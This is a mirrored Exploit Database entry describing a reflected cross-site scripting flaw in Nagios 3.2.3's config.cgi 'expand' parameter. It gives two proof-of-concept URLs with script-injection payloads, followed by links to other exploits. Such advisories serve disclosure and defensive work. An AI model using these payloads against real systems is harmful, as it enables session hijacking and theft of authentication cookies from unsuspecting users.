Nagios 3.2.3 – ‘expand’ Cross-Site Scripting

Exploit Database
124 阅读

作者： Stefan Schurtz

日期： 2011-06-01
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/35818/

source: https://www.securityfocus.com/bid/48087/info

Nagios is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Nagios 3.2.3 is vulnerable; other versions may also be affected.

http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>

last Exploits
Nagios 3.2.3 – ‘expand’ Cross-Site Scripting的更多信息

Cool iPhone Ringtone Maker 2.2.3 – ‘dwmapi.dll’ DLL Loading Arbitrary Code Execution：
Apache James Server 2.3.2 – Remote Command Execution：
Kolibri Web Server 2.0 – GET Stack Buffer Overflow：
Nginx 1.3.9/1.4.0 (x86) – Brute Force：
Authentium Command On Demand ActiveX Control – Multiple Buffer Overflow Vulnerabilities：
Nagios XI – Multiple Cross-Site Scripting / HTML Injection Vulnerabilities：
Unreal Tournament 2004 (Windows) – ‘secure’ Remote Overflow (Metasploit)：
VicFTPS 5.0 – Directory Traversal：